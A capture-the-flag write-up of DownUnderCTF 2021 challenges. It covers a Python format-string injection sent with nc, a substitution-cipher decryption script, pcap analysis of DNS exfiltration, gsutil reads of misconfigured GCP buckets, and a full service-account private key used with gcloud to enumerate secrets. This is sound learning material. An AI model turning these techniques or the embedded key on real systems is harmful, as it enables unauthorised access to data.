DownUnderCTF was this weekend. Here are some writeups for challenges I personally solved.
Challenges sectioned off by category:
Misc
floormat
echo -e "\n{f.__init__.__globals__[FLAG]}\nF\nFragment" | nc pwn-2021.duc.tf 31903
There’s a FLAG global variable.
You can supply a custom format string; it gets formatted with f
= a floormat pattern object.
https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
Objects in python have __init__
which is a method (alongside other methods).
Methods have __globals__
which is a dictionary of all the globals, just subset it for FLAG.
DUCTF{fenomenal_flags_from_funky_formats_ffffff}
builder
.mpd extension, ASCII text, first line mentions a .ldr file extension. Google around for that, looks like it’s actually Lego CAD model related stuff.
http://www.melkert.net/LDCad/download
https://www.ldraw.org/parts/latest-parts.html Need complete.zip as the ldraw directory
It’s kind of incomplete looking… This is on the bottom side…
So we have to attach those C shapes to the red bricks.
DUCTF{CaD4L3G0!}
Crypto
Substitution Cipher I
Use https://sagecell.sagemath.org/, easier than installing SAGE.
Wrote a brute-force decrypt function (hey, why not), tested it out, then ran it on the Unicode string of the provided file. Lots of Unicode weirdness with Python saving this encrypted output.
def encrypt(msg, f):
for c in msg:
print(chr(c), c, f.substitute(c))
outval = [chr(f.substitute(c)) for c in msg]
print(outval)
return ''.join(outval)
def decrypt(enc, f):
enc = [ord(c) for c in enc]
allchars = list(range(0,255))
outarr = []
for c in enc:
m = next(filter(lambda trychar: f.substitute(trychar) == c, allchars))
print(c, m, chr(m))
outarr.append(chr(m))
return ''.join(outarr)
P.<x> = PolynomialRing(ZZ)
f = 13*x^2 + 3*x + 7
FLAG = b'ligma'
enc = encrypt(FLAG, f)
print(enc)
print("#############")
dec = decrypt(enc, f)
print(dec)
flagenc = '\ueba3\U00016feb\ue4c5\U00016753玲\U000301bd𪃵𢙿疗𫢋𥆛\U0001fd03\u4db9𬑽蒵\U0001cb71𫢋𪃵蒵\U0001fd03\U0001cb71𩕑疗𪲳\U0001cb71窇蒵\U00031af3'
print("#############")
dec = decrypt(flagenc, f)
print(dec)
Note: One needs to get the unicode via some method like open("output.txt", "r").read()
. Opening the file in binary mode will not work; you don’t want a bytestring, you need python to parse the Unicode characters properly. Cyberchef escape-character-encoding didn’t work, for example.
Script output:
l 108 151963
i 105 143647
g 103 138233
m 109 154787
a 97 122615
['𥆛', '𣄟', '𡯹', '𥲣', '\U0001def7']
𥆛𣄟𡯹𥲣
#############
151963 108 l
143647 105 i
138233 103 g
154787 109 m
122615 97 a
ligma
#############
60323 68 D
94187 85 U
58565 67 C
91987 84 T
63917 70 F
197053 123 {
172277 115 s
140927 104 h
30103 48 0
178315 117 u
151963 108 l
130307 100 d
19897 39 '
181373 118 v
33973 51 3
117617 95 _
178315 117 u
172277 115 s
33973 51 3
130307 100 d
117617 95 _
169297 114 r
30103 48 0
175283 116 t
117617 95 _
31367 49 1
33973 51 3
203507 125 }
DUCTF{sh0uld'v3_us3d_r0t_13}
Flag: DUCTF{sh0uld'v3_us3d_r0t_13}
Forensics
That’s not my name
The download is a pcap file. Open it up in Wireshark, looks like there’s a lot of weird DNS requests with really long and nonsensical names - gotta be DNS exfil.
Filter for ip.dst == 3.24.188.205
, sure enough it’s all nonsensical DNS queries.
Right-click on the Name field within Query, and Apply as Column. Export displayed packets as CSV.
Open in Excel or any CSV viewer, take the whole name column, paste it into Cyberchef. Looks like they’re hexadecimal-encoding the data, but the periods and 2nd and top-level domains will interfere.
In Cyberchef, just find-replace qawesrdtfgyhuj.xyz
with a blank string, then do the same for periods. Convert From Hex
. Download the resulting data, run strings
on it and grep for DUCTF.
DUCTF{c4t_g07_y0ur_n4m3}
Cloud
Bad Bucket
It’s a totally open GCP bucket.
gsutil ls -r gs://the-bad-bucket-ductf/
gsutil cat gs://the-bad-bucket-ductf/buckets/.notaflag
DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}
Not as Bad Bucket
For me, it actually still worked:
gsutil ls -r gs://ductf-not-as-bad-ductf
gsutil cat gs://ductf-not-as-bad-ductf/pics/flag.txt
DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}
Judging by the flag text, it purely just takes the fact that I’m logged into any GCP account, and lets me in. I was logged into a GCP account for the Lost n Found challenge, so I’m guessing this is why it worked - total shot in the dark, though.
Lost n Found
A legacy.json
file was supplied, allowing you to log into a Google Cloud service account.
{
"type": "service_account",
"project_id": "ductf-lost-n-found",
"private_key_id": "204a0a9969f97549e646f592d1732f5e478492d7",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxEd53/PMy+kTz\nf0WTfkk5V7QTc746dz3/RAdgisBm0pJz/prrUKc8g6RfaG7x5EhDIKymNytALcrR\nl/OM9+zDtkK8+r8lwcn/rqH+upPS0fJrVxRElZVLbK6hUn/6dX48n2zV7ANanPuG\nhBR6jICi7aCGUYMch7BocMhMvrtidUaMghp0hjUIO3Gkn+MDwmxhonqsCHJG0VHM\nDDE+NpOIhahjqvlSx6r+4SJjSPgvUElvyg9fo6EcQBk7lKE5ZYKXukBhuDfoWSiw\nMqL4N60sZA3bxlkgopW1Z6feqJTyzogbbsV5ude0+HOo3ATrx+ffnz05VTecHLLp\n5vrjkrR3AgMBAAECggEAB2fc6x3MOiSXf6uiCFIu09QkNvAPU7irAiMhP9ttwp8p\n+un6Jr9fzzseQ9NFWJ6Ymx4hum3yRCPmKK/3Qr0XzPOxhN/j4LtjLGtsYRACoL2h\nKvYgZeHvtZDdGOgvbBU/618rmSLe3QpVxsF9bca0lpvjq9p65lWSfjvBVNxhT/PP\n56aHHUsd1S3d1pwx71sNTWQqVJVg5JVaJx4SVuF7aGDYV9LPOi+dZPRmJV1YiH7v\nMpRQ6TOrsbK5yowIon3j8mm8S0Fxh6w46+6oKozC7DNIc93zsDKCy0c7kgFuBWpz\ne3+Wfz8fKCdc5D+gfDaPCUbFqZxEHFYRnkBbZiaM0QKBgQDaw5lRaBWl3Fu5mTwg\nByjW7zXdKusZhP6RbMV3R/77hiyawuqp12dEgWLLRo0pq0KOtpS93BfjectqndcJ\nq7xODHuWQfZAQNvR9LSsyxf2W160G2KeQajR/OUHvyjHUDRsgDy8q4vGc9ojodwK\n7is+eGdnr4HcRH5+zuaq1dXkbwKBgQDPNX025k/zu1vvSm3kF1AE68vP9kLY/oIU\n2ipKi0t11s0r03OIpBy6Hs8GiHejAgB+5tTLQS4S3wfsO4D17Z+jSK7Ejl0efxJw\nB0apYo2w76LBmDD2uWlfzlzQYwZinfs/8TUGBNpAxHqVjPm+ayl7ACBNzCTTHSKM\n/TXEqJgEeQKBgQDaZ08pA+Yg6ee1WvO48gzm0HkRLmj62FkirNpT5M//IwxjEdgf\n6kpSDW6pjO0fvbg8LLJA/nvnAdCAx8ZJBGiB71pvP7lumpIbgdfjbvukW8Inw/No\nFhtKUdYCLumyWzOLY1e/8PAiF8Wfr1e0neUUgDaUQJdAZi13wm5t/gCGBwKBgHFH\nGLEOr97bKqNi2Ti81e4ayk1in6DpYkvsCPq/s/0z9O5kpuCod1v4w80ahe0DhynZ\nH7QOahW/ACHRVescgQ1PCtxBx/6IEZhVIfgv/K4iE6Qqg3oeWtEZi/wQZsk6/MQ0\nJXyo4nhN8YYYj9/dzcuEgiSF2gvf/ad+NgrQ8GphAoGAcQH3rRoC/IFhUCYbX4Ya\nE/9tHj6U+oG/q4C7Yba/oJ/mPa5NMZtidUj1IwdQCgB3oO7slz0hseXi5iG4viHl\n8FJKxMy2LGJ4+cPjSgOLKaA2iBMxCrIsCFM39qa+8SnBxaXg+UopyFsK7GQIYkoY\nEm/drz8sZGJKBFJoE+NJyWM=\n-----END PRIVATE KEY-----\n",
"client_email": "legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com",
"client_id": "103100904971904770440",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com"
}
Authenticate with gcloud auth activate-service-account legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com --key-file legacy.json
.
And verify with gcloud auth list
.
Set the project: gcloud config set project ductf-lost-n-found
And now check out the GCP secrets.
$ gcloud secrets list
NAME CREATED REPLICATION_POLICY LOCATIONS
unused_data 2021-09-21T05:20:41 automatic -
$ gcloud secrets describe unused_data
createTime: '2021-09-21T05:20:41.876436Z'
etag: '"15cc7a8f10dbd4"'
name: projects/216026370280/secrets/unused_data
replication:
automatic: {}
$ gcloud secrets versions list unused_data
NAME STATE CREATED DESTROYED
1 enabled 2021-09-21T05:20:45 -
$ gcloud secrets versions access 1 --secret=unused_data; echo
CiQA+H4IQ1Jq5yU+Ta7XvpOhnpYLiRYXxem6jVTzdqKxGaczATsSZgCa9lYSABC+4ve1pQuvy80nJi/pWv5hntGiPOiO7CQoC/Iqw1XOCgDBdmYEi9ynYb/qykTRDZiyGaheHSReUf0ZNr/hUjPrIXq2VCGSMtF1RFVt73Rp1i3/baMJxLOSmCN3cbT0xQ==
This is base64, but decoding it did not yield anything useful. I was not able to solve this challenge.
Most APIs were inaccessible to this service account or were simply disabled. I did notice that kms
worked, and found this:
$ gcloud kms keyrings list --location=global
NAME
projects/ductf-lost-n-found/locations/global/keyRings/empty-keyring
But wasn’t able to get anything useful out of it. Post-competition, the official writeups revealed that there was a hidden kms
keyring in a different location. Close!